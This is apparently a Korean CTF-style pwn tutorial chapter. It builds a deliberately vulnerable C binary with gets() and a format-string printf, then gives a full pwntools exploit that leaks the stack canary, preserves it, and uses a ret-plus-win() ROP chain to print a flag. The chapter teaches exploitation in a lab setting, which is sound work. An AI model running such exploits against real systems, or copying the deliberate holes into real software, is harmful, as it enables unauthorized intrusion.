Step 214. ★ 중간 점검: Canary+NX 바이너리 독립 익스플로잇 — 유출하고, 살려 두고, 덮는다
Level 3 — Pwn 트랙 | 난이도 ★★★★★ | 예상 소요 시간 6시간
전제: Step 186(버퍼 오버플로우 재현), Step 187(보호 기법), Step 188(pwntools 입문)을 마쳤다. 스택 프레임, RET 덮어쓰기, 카나리의 동작을 알고, pwntools venv를 쓸 수 있다.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. 오늘의 타깃은 여러분이 직접 컴파일한 연습용 바이너리입니다.
- 준비물: WSL 우분투 (실측: Ubuntu 24.04, gcc 13.3.0, gdb 15.1), Step 188에서 만든 pwntools venv (실측: pwntools 4.15.0).
- 주의: 이 챕터는 중간 점검입니다. 3번 섹션에서 정찰까지만 함께 하고, 익스플로잇은 4번 미션에서 혼자 완성합니다. 막히면 5번의 단계별 힌트를 하나씩만 열어 보세요.
지금까지 Pwn 트랙에서 배운 것은 네 조각입니다 — 스택 오버플로우로 RET를 덮는 법(Step 186), 보호 기법이 무엇을 막는가(Step 187), pwntools로 페이로드를 만드는 법(Step 188), 그리고 포맷 스트링으로 메모리를 읽는 법. 오늘은 이 넷을 하나의 공격으로 합칩니다. 카나리와 NX가 켜진 바이너리를 받아, 카나리를 유출하고, 살려 두고, ROP 체인을 덮는 전 과정을 혼자 힘으로 수행하는 것이 졸업 시험입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 보호 기법 판별(정찰)부터 전략 수립까지 익스플로잇의 전 과정을 혼자 설계한다
- 포맷 스트링 취약점으로 스택 카나리 값을 유출한다
- 카나리를 원래 값 그대로 되덮어 탐지를 우회한다
- ROP 체인을 조립해 원하는 함수를 실행한다
- 공격의 각 단계가 왜 필요한지 설명하는 Write-up을 쓴다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | C(타깃 제작용) + Python/pwntools(공격용) + WSL 우분투 bash (실측: gcc 13.3.0, gdb 15.1, pwntools 4.15.0) |
| 오늘의 명령어 | readelf -h / -lW, nm, objdump -d, gdb의 x/gx $rsp+오프셋, pwntools의 ELF, ROP, process |
| 필요한 개념 | 스택 카나리(Step 187), 포맷 스트링 읽기(%p), ROP 체인, 스택 정렬, fortify(__printf_chk) |
| 오늘의 산출물 | 동작하는 익스플로잇 스크립트 1개 + 단계별 근거를 적은 Write-up 1편 |
2-1. 오늘의 적: 두 개의 취약점, 두 장의 방어막
오늘의 타깃에는 취약점이 둘 있습니다. 포맷 스트링 취약점(메모리 읽기)과 스택 오버플로우(메모리 쓰기)입니다. 방어막도 둘 — 카나리와 NX입니다. 이 대응 관계가 오늘 공격의 설계도입니다.
- 카나리를 모르면 → 덮는 순간 죽습니다. 그래서 먼저 읽습니다(포맷 스트링).
- NX 때문에 스택에 코드를 심을 수 없으므로 → 프로그램 안에 이미 있는 코드를 재활용합니다(ROP).
Step 187에서 배운 "유출 → 계산 → 덮기"의 2단 구조를 오늘 처음으로 처음부터 끝까지 수행합니다.
2-2. 카나리는 프로세스에 하나 — 다른 함수에서 읽어도 같다
카나리 값은 프로세스가 시작될 때 정해져 %fs:0x28에 보관되고, 각 함수의 프롤로그가 그 값을 자기 스택 프레임에 복사합니다. 같은 프로세스 안에서는 어느 함수에서 읽든 같은 값입니다.
이것이 오늘 공격의 열쇠입니다. 유출은 memo 함수에서 하고, 덮기는 vuln 함수에서 하지만 — 카나리 값은 같습니다. "읽는 곳과 덮는 곳이 달라도 된다"는 감각이 중요합니다.
2-3. 포맷 스트링 읽기 복습 — %p 체인
printf(사용자입력)처럼 포맷 문자열을 공격자가 쥐면, %p를 나열해 스택 위의 값들을 그대로 출력시킬 수 있습니다. x86-64에서 앞쪽 몇 개는 레지스터(rsi, rdx, …)에서, 그 뒤는 스택에서 읽습니다.
우분투 기본 컴파일에는 fortify가 켜져 있어 printf가 __printf_chk로 바뀝니다. 그러면 인자가 하나 밀려서 스택의 첫 칸이 %5$p가 되고, %N$ 번호를 건너뛰는 지정은 거부됩니다. 오늘 실측에서 이 두 가지를 모두 만납니다 — 3-2와 6번 섹션의 벽 1·2에서 다룹니다.
2-4. ROP 체인 — 스택에 "주소의 나열"을 쓴다
NX가 켜진 세상에서 스택에 쓸 수 있는 것은 코드가 아니라 주소입니다. ret는 "스택 꼭대기의 주소로 점프"이므로, 스택에 주소를 여러 개 나열해 두면 ret를 만날 때마다 다음 주소로 튑니다 — 이것이 ROP 체인입니다.
체인에 넣을 주소 조각을 가젯(gadget)이라 부릅니다. pop rdi; ret 같은 가젯이 있으면 함수에 인자까지 실어 보낼 수 있지만, 오늘의 작은 바이너리에는 없습니다. 그때 어떻게 하는지가 3-4의 실측 발견입니다.
2-5. 독립 수행의 룰
중간 점검의 채점 기준은 "플래그"만이 아닙니다. ① 정찰 결과를 먼저 글로 썼는가, ② 각 단계를 따로 검증했는가, ③ 왜 그렇게 했는지 Write-up에 근거가 있는가. 실전 pwn의 보고서와 같은 기준입니다.
3. 따라 하기
3-1. 타깃 바이너리 — 출제자의 손으로
중간 점검이지만 타깃은 직접 컴파일합니다. 실전이라면 배포된 바이너리를 받는 상황이라고 생각하세요. ~/lab214_218 폴더를 만들어 진행합니다.
입력 (target214.c)
#include <stdio.h>
#include <string.h>
char flag[] = "FLAG{c4n4ry_l34k_4nd_r0p_ch41n}";
void win(void) {
printf("관리자 권한 획득: %s\n", flag);
}
void memo(void) { /* 포맷 스트링 취약점 — 정보 유출 단계 */
char fmt[64];
printf("메모를 남기세요: ");
fgets(fmt, sizeof(fmt), stdin);
printf(fmt);
printf("\n");
}
void vuln(void) { /* 스택 오버플로우 — 덮기 단계 */
char buf[64];
printf("자기소개를 입력하세요: ");
gets(buf);
printf("등록 완료\n");
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
memo();
vuln();
printf("정상 종료\n");
return 0;
}
컴파일 — 카나리를 켜고, PIE를 끕니다 (NX는 기본으로 켜집니다):
mkdir -p ~/lab214_218 && cd ~/lab214_218
gcc -O1 -fstack-protector-strong -no-pie -o target214 target214.c
target214.c:13:12: warning: format not a string literal and no format arguments [-Wformat-security]
target214.c: warning: the `gets' function is dangerous and should not be used.
(2026-09-09 실측. 경고 두 개 — 컴파일러가 두 취약점을 정확히 짚어 줍니다. "경고가 곧 취약점 목록"이라는 것, 잊지 마세요.)
여기까지가 출제입니다. 이제 소스를 잊으세요. 여러분은 방금 바이너리 하나를 건네받은 공격자입니다.
3-2. 정찰 — 무엇이 켜져 있는가
공격의 첫 동작은 코드 읽기가 아니라 방어막 읽기입니다 (Step 187의 판별법 그대로입니다).
readelf -h target214 | grep Type
readelf -lW target214 | grep GNU_STACK
nm target214 | grep stack_chk
Type: EXEC (Executable file)
GNU_STACK ... RW 0x10
U __stack_chk_fail@GLIBC_2.4
(2026-09-09 실측.)
출력 읽는 법: EXEC → PIE 꺼짐, 주소 고정. GNU_STACK이 RW(E 없음) → NX 켜짐, 쉘코드 불가. __stack_chk_fail → 카나리 켜짐. 종합하면 전략이 자동으로 결정됩니다: 카나리 유출 + ROP. PIE가 꺼져 있어 주소는 정적 분석으로 구할 수 있습니다 — 유출이 필요한 것은 카나리뿐입니다.
심볼도 봅니다:
nm target214 | grep -E " win$| flag$"
0000000000404060 D flag
00000000004011f6 T win
(2026-09-09 실측.)
win이 0x4011f6에 고정돼 있습니다. 가기만 하면 됩니다.
3-3. 정찰 2 — 두 취약점의 위치 파악
디스어셈블리로 프레임 구조를 읽습니다. 먼저 memo:
gdb -batch -ex "disassemble memo" ./target214
0x00000000004011ff <+9>: mov %fs:0x28,%rax
0x0000000000401208 <+18>: mov %rax,0x48(%rsp)
...
0x0000000000401244 <+78>: call 0x4010f0 <__printf_chk@plt>
(2026-09-09 실측.)
출력 읽는 법: 카나리가 rsp+0x48에 심어집니다. 그리고 호출이 printf가 아니라 __printf_chk — fortify가 켜져 있다는 신호입니다. 이 한 글자 차이가 %p의 번호를 밀어 놓습니다 (곧 실측합니다).
vuln도 봅니다:
gdb -batch -ex "disassemble vuln" ./target214
0x00000000004012a9 <+17>: mov %rax,0x48(%rsp)
0x00000000004012c1 <+41>: mov %rsp,%rdi
0x00000000004012c9 <+49>: call 0x4010e0 <gets@plt>
...
0x00000000004012ee <+86>: ret
(2026-09-09 실측.)
출력 읽는 법: gets의 인자(rdi)가 rsp 그 자체 — 버퍼는 프레임 맨 아래입니다. 카나리는 rsp+0x48 = 버퍼 시작에서 72바이트 뒤. 그 뒤 8바이트를 지나면 RET 주소입니다. 즉 덮기 지도는: 72바이트 채움 + 카나리 8 + 패딩 8 + RET(체인).
3-4. 마지막 힌트 — 이 바이너리의 가젯 목록
체인에 쓸 재고를 확인합니다. pwntools venv를 켜고:
source ~/lab188/venv/bin/activate
python3 -c "
from pwn import *
context.log_level = 'error'
e = ELF('./target214')
r = ROP(e)
for g in r.gadgets.values():
print(hex(g.address), '; '.join(g.insns))
"
0x401264 add esp, 0x50; pop rbx; ret
0x4012c1 add esp, 0x58; ret
0x401017 add esp, 8; ret
0x401263 add rsp, 0x50; pop rbx; ret
0x4012c0 add rsp, 0x58; ret
0x401016 add rsp, 8; ret
0x4012c3 pop rax; ret
0x4011dd pop rbp; ret
0x401267 pop rbx; ret
0x40101a ret
(2026-09-09 실측.)
읽는 법: pop rdi; ret가 없습니다. 작은 바이너리의 흔한 상황입니다 — 현대 glibc에서는 예전의 가젯 창고(__libc_csu_init)가 사라졌기 때문입니다. 인자를 실을 수 없으니, 오늘의 체인은 인자가 필요 없는 win()을 부르는 최소 형태가 됩니다: ret 가젯(정렬용) + win 주소. "체인"이 거창한 것이 아니라, 주소의 나열이면 그게 체인입니다.
여기까지가 함께한 정찰입니다. 여러분은 지금 다음을 알고 있습니다:
- 보호 기법: 카나리 O, NX O, PIE X (주소 고정)
- 유출구:
memo의 포맷 스트링 — 스택에서 카나리 위치는rsp+0x48 - 덮기 지도: 72 + 카나리 8 + 패딩 8 + RET
- 목적지:
win= 0x4011f6, 정렬용ret가젯 = 0x40101a
4. 미션과 연습문제
미션 — target214 독립 익스플로잇 + Write-up
지금부터 혼자 합니다. 순서는 이렇습니다:
- 전략을 글로 먼저 쓴다 — "카나리를 어떻게 읽을 것인가, 체인은 어떻게 생겼는가" 세 줄 이상
- 유출 단계 — 포맷 스트링으로 카나리를 읽고, 그것이 카나리가 맞는지 검증한다 (힌트 없이 방법을 떠올려 보세요)
- 덮기 단계 — 카나리를 살려 두고 체인을 덮어
win을 실행한다 - Write-up — 각 단계의 근거("왜 14번째인가", "왜 72바이트인가" 등)를 적는다
막힐 때만 5번 섹션의 힌트를 하나씩 열어 보세요. 힌트 1은 유출, 힌트 2는 검증, 힌트 3은 덮기입니다. 전부 보고 나서 따라 한 것과, 스스로 한 것은 실력이 다릅니다.
연습문제
문제 1. 오늘 타깃에서 PIE가 꺼져 있었기 때문에 유출해야 할 정보가 카나리 하나로 줄었습니다. PIE까지 켜져 있었다면 무엇을 추가로 유출해야 하고, 어떤 슬롯이 그 단서가 될 수 있었나요? (3-3의 유출 출력을 다시 보세요.)
문제 2. 카나리는 memo 함수에서 읽고 덮기는 vuln 함수에서 했는데도 공격이 성공했습니다. 왜 같은 값이었나요?
문제 3. printf가 __printf_chk로 바뀌면서 생긴 변화 두 가지를 설명하세요 (스택 슬롯 번호, %N$ 사용).
문제 4. 익스플로잇 성공 후 프로그램이 세그폴트로 끝나는 경우가 있습니다. 플래그는 이미 출력된 뒤라면, 이 크래시는 공격의 실패인가요? 실전 CTF 기준으로 답하세요.
5. 모범 답안과 완료 기준
힌트 1 (유출) — %p를 몇 개나, 몇 번째를?
fmt 버퍼는 64바이트라 최대 63글자 — %p.를 21개 나열할 수 있습니다. 스택 슬롯을 전부 찍어 보고, 그중 끝 바이트가 00이면서 매 실행마다 바뀌는 값을 찾으세요. 카나리의 첫 바이트가 0인 이유는 Step 187에 있습니다.
힌트 2 (검증) — gdb에서 같은 실행의 진짜 카나리와 대조
유출된 후보가 진짜 카나리인지 확인하는 법: gdb로 memo의 카나리 검사 직전(mov 0x48(%rsp),%rax 지점)에 멈춰 x/gx $rsp+0x48을 읽고, 같은 실행에서 프로그램이 출력한 값과 비교하면 됩니다.
힌트 3 (덮기) — 페이로드 배열
b"A"*72 + p64(카나리) + b"B"*8 + p64(0x40101a) + p64(0x4011f6). 카나리는 읽은 값 그대로 넣는 것이 핵심입니다 — 덮되, 바꾸지 않는 것.
미션 모범 답안
1단계 — 유출. %p 21개를 보냅니다:
probe = b".".join([b"%p"] * 21)
메모를 남기세요: 0xfbad2088.0xffbfad5f.0x4052df.(nil).0x70252e70252e7025. ...(중략)... 0x403e00.0x87927b21e74a8600.0x7fffffffe788.0x4012f2. ...
(2026-09-09 실측.)
14번째 값 0x87927b21e74a8600이 끝이 00이고 실행마다 바뀝니다 — 카나리 후보. 5~12번째의 0x70252e70252e7025는 "%p.%p.%p"의 아스키 — 내 입력 자체가 스택에 보이는 것이므로 기준점 삼기 좋습니다.
왜 14번째인가: fortify 때문에 __printf_chk(플래그, 포맷, ...) 형태가 되어 인자가 하나 밀리고, 스택 첫 칸은 %5$p가 됩니다. 카나리는 rsp+0x48 = 9칸 뒤니까 5 + 9 = 14번째. 계산과 실측이 일치했습니다.
2단계 — 검증. gdb로 같은 실행에서 대조했습니다:
Breakpoint 1, 0x0000000000401253 in memo ()
0x7fffffffe648: 0x87927b21e74a8600
(2026-09-09 실측. 프로그램 출력의 14번째 값과 완전히 일치 — 유출 성공이 증명됐습니다.)
3단계 — 덮기. 전체 익스플로잇입니다:
from pwn import *
context.log_level = "error"
e = ELF("./target214")
p = process("./target214")
# 1단계: 포맷 스트링으로 카나리 유출
probe = b".".join([b"%p"] * 21)
p.sendlineafter("메모를 남기세요: ".encode(), probe)
slots = p.recvline().decode().strip().split(".")
canary = int(slots[13], 16) # 14번째 슬롯 (0-base 13)
print("[*] 유출된 카나리:", hex(canary))
assert canary & 0xff == 0 # 끝 바이트 00 검사
# 2단계: 카나리를 살려 두고 RET부터 ROP 체인
payload = b"A" * 72 # buf[64] ~ 카나리 직전
payload += p64(canary) # 카나리는 읽은 값 그대로
payload += b"B" * 8 # 저장된 레지스터 자리
payload += p64(0x40101a) # ret — 스택 정렬
payload += p64(e.sym["win"]) # win()으로
p.sendlineafter("자기소개를 입력하세요: ".encode(), payload)
print(p.recvall(timeout=2).decode(errors="replace"))
실행 결과:
[*] 유출된 카나리: 0x50bcbca1ec185900
등록 완료
관리자 권한 획득: FLAG{c4n4ry_l34k_4nd_r0p_ch41n}
(2026-09-09 실측. 매 실행마다 카나리가 달라져도 스크립트가 그 실행의 값을 읽어 덮으므로 항상 성공합니다.)
검증하는 법: ① stack smashing detected 없이 win까지 도달했는가 — 카나리를 살렸다는 뜻. ② 카나리를 p64(0)처럼 임의 값으로 바꾸면 *<strong> stack smashing detected </strong>*: terminated로 죽는가 — 대조 실험으로 우회가 맞음을 확인. ③ Write-up에 "왜" 세 개(14번째, 72바이트, ret 가젯)의 근거가 있는가.
연습문제 해답
문제 1 해답. PIE가 켜져 있으면 win의 주소가 실행마다 바뀌므로 코드 배이스를 추가로 유출해야 합니다. 유출 출력에서 0x4012f2처럼 0x40xxxx 대의 값이 그 단서입니다 — 이것은 memo의 호출자(main)로 돌아가는 리턴 주소로, 실행 중 코드 영역의 실제 주소입니다. 이 값에서 해당 슬롯의 파일 오프셋을 빼면 배이스가 나오고, 배이스 + win의 오프셋으로 목적지를 계산합니다.
문제 2 해답. 카나리의 원본은 프로세스당 하나로 %fs:0x28에 보관되고, 각 함수의 프롤로그가 그 같은 값을 자기 프레임에 복사하기 때문입니다. memo에서 읽은 값과 vuln에서 검사되는 값의 출처가 같으므로, 한 함수에서 유출해 다른 함수의 검사를 통과할 수 있습니다.
문제 3 해답. 첫째, __printf_chk는 인자 목록 앞에 플래그 인자가 추가돼 스택의 첫 칸이 %6$p가 아니라 %5$p가 됩니다(한 칸 전진). 둘째, %7$p처럼 번호를 건너뛰는 지정을 하면 *<strong> invalid %N$ use detected </strong>*를 출력하며 프로그램이 중단됩니다 — 앞번호를 빠짐없이 써야 합니다 (2026-09-09 실측으로 확인).
문제 4 해답. 실패가 아닙니다. 익스플로잇의 목표는 제어 탈취와 목표 동작(플래그 출력)의 수행이고, 그 뒤 프로세스가 깨끗이 종료할 의무는 없습니다. 실전 CTF에서도 플래그를 받은 뒤 연결이 끊기는 것은 흔합니다. 다만 Write-up 수준에서는 "win 리턴 후 유효한 다음 주소가 없어 크래시"처럼 원인을 설명할 수 있어야 하고, 필요하면 체인 끝에 exit 계열을 붙여 정리합니다.
완료 기준 체크리스트
- [ ] readelf/nm으로 카나리·NX·PIE를 판별하고 전략을 글로 먼저 썼다
- [ ]
%p체인으로 스택을 덤프해 카나리 후보를 찾았다 - [ ] fortify(
__printf_chk)가 슬롯 번호를 한 칸 미는 것을 이해하고 계산으로 확인했다 - [ ] gdb로 유출값이 진짜 카나리와 일치함을 같은 실행에서 증명했다
- [ ] 카나리를 원래 값으로 되덮고 ROP 체인(ret + win)을 조립해 플래그를 얻었다
- [ ] 카나리를 임의 값으로 넣는 대조 실험에서 stack smashing을 확인했다
- [ ] 미션: Write-up에 각 단계의 근거를 적었다
6. 흔한 실수와 해결
벽 1. %7$p처럼 번호를 지정했는데 </strong>* invalid %N$ use detected *<strong>가 뜬다
증상: 위치 지정 포맷을 쓰자마자 프로그램이 Aborted (core dumped)로 죽습니다.
원인: fortify가 켜진 __printf_chk는 번호를 건너뛰는 %N$를 허용하지 않습니다 (2026-09-09 실측). 버퍼 길이 제한으로 포맷 문자열이 중간에 잘려도 같은 메시지가 뜹니다.
해결: %p.%p.%p...처럼 순서대로 나열하세요. 어차피 스택을 통째로 보는 것이 목적이므로 체인 방식이 더 정보도 많습니다.
벽 2. 스택 첫 칸이 %6$p이 아니다
증상: 책대로 %6$p부터 세었는데 한 칸씩 어긋납니다.
원인: __printf_chk(플래그, 포맷, ...) — 플래그 인자가 하나 더 있어 varargs가 rdx부터 시작하고, 스택 첫 칸은 %5$p입니다 (2026-09-09 실측: 5번째 슬롯에서 내 입력 "%p.%p"의 아스키 0x70252e… 확인).
해결: 번호를 외우지 말고 기준점을 찾으세요 — 내가 보낸 문자열의 아스키가 보이는 슬롯이 스택의 시작이고, 거기서 카나리까지의 거리를 세면 됩니다.
벽 3. 카나리는 찾았는데 덮으면 여전히 stack smashing
증상: 유출한 값을 넣었는데 *<strong> stack smashing detected </strong>*: terminated.
원인: 대부분 오프셋 오류 — 카나리까지의 거리(72)가 틀렸거나, 카나리 자리에 8바이트가 정확히 안 맞았거나. 1바이트만 어긋나도 탐지됩니다.
해결: disassemble vuln에서 gets 직전의 rdi(버퍼 시작)와 카나리 위치(mov %fs:0x28 저장 오프셋)를 다시 재세요. 추측이 아니라 디스어셈블리가 기준입니다.
벽 4. gdb 스크립트에서 $rsp가 사라진다
증상: x/gx $rsp+0x48이 Cannot access memory at address 0x48가 됩니다 — $rsp가 통째로 빈 문자열로.
원인: 쉘을 여러 격 거치며 $가 변수 확장됩니다. Step 178의 벽 2와 같은 문제로, 이번 챕터 실측에서도 재현됐습니다.
해결: gdb 명령 파일을 파이썬으로 만들 때 chr(36)을 쓰거나, 대화형 gdb에서 직접 입력하세요.
벽 5. 체인을 태웠는데 win에서 바로 세그폴트, 혹은 플래그 후 세그폴트
증상: ret 가젯 없이 win으로 직행하니 플래그는 나오는데 종료 코드 -11(SIGSEGV)입니다 (2026-09-09 실측).
원인: 두 가지 원인이 있을 수 있습니다 — 스택 16바이트 정렬 불일치(printf 계열의 movaps가 요구), 또는 win이 리턴한 뒤 다음 스택 값이 쓰레기 주소.
해결: 체인 앞에 ret 가젯 하나를 넣어 정렬을 맞추는 것이 표준 관행입니다. 플래그 후의 크래시는 문제 4에서 다룬 대로 실패가 아니지만, 원인을 설명할 수 있어야 합니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 카나리 유출 | 읽기 취약점으로 감시 값을 먼저 훔쳐, 덮을 때 그대로 넣는 우회 |
%p 체인 |
포맷 스트링으로 스택을 순서대로 덤프하는 기본 기법 |
__printf_chk |
fortify가 바꿔 끼운 printf — 슬롯 번호 +1칸, %N$ 건너뛰기 금지 |
| ROP 체인 | 스택에 주소를 나열해 ret 도미노를 만드는 기법 — 주소 2개도 체인 |
| ret 가젯 | 스택 정렬을 맞추기 위해 체인에 끼우는 가장 단순한 가젯 |
| Write-up | "무엇을"이 아니라 "왜"를 적는 공격 보고서 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
readelf -h / -lW, nm |
보호 기법 판별 — 공격 전 정찰 삼종 |
%p. × N 입력 |
스택 내용을 순서대로 유출 |
gdb -batch -ex "disassemble 함수" |
프레임 구조(카나리·버퍼 오프셋) 파악 |
x/gx $rsp+0x48 |
실행 중 카나리 실물 확인 — 유출 검증 |
ROP(ELF).gadgets (pwntools) |
체인 재고(가젯) 목록화 |
p.sendlineafter / p.recvline (pwntools) |
단계별 입출력 자동화 |
명령어보다 중요한 감각
중간 점검의 진짜 답은 플래그가 아니라 순서입니다. 방어막을 먼저 읽고(정찰), 부족한 정보를 읽어 내고(유출), 읽은 것을 살려 두며 덮고(우회), 주소를 나열해 흐름을 잇는다(체인). 이 네 박자는 오늘의 연습 바이너리를 넘어 실전 pwn 문제 전부에서 반복되는 리듬입니다.
그리고 하나 더 — 오늘 익스플로잇은 두 번의 작은 발견(슬롯이 하나 밀린다, 가젯이 없다) 위에서 완성됐습니다. 교과서대로 안 되는 것을 그 자리에서 재고 고치는 것, 그것이 "독립"의 의미입니다.
전부 체크되면 Step 214 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.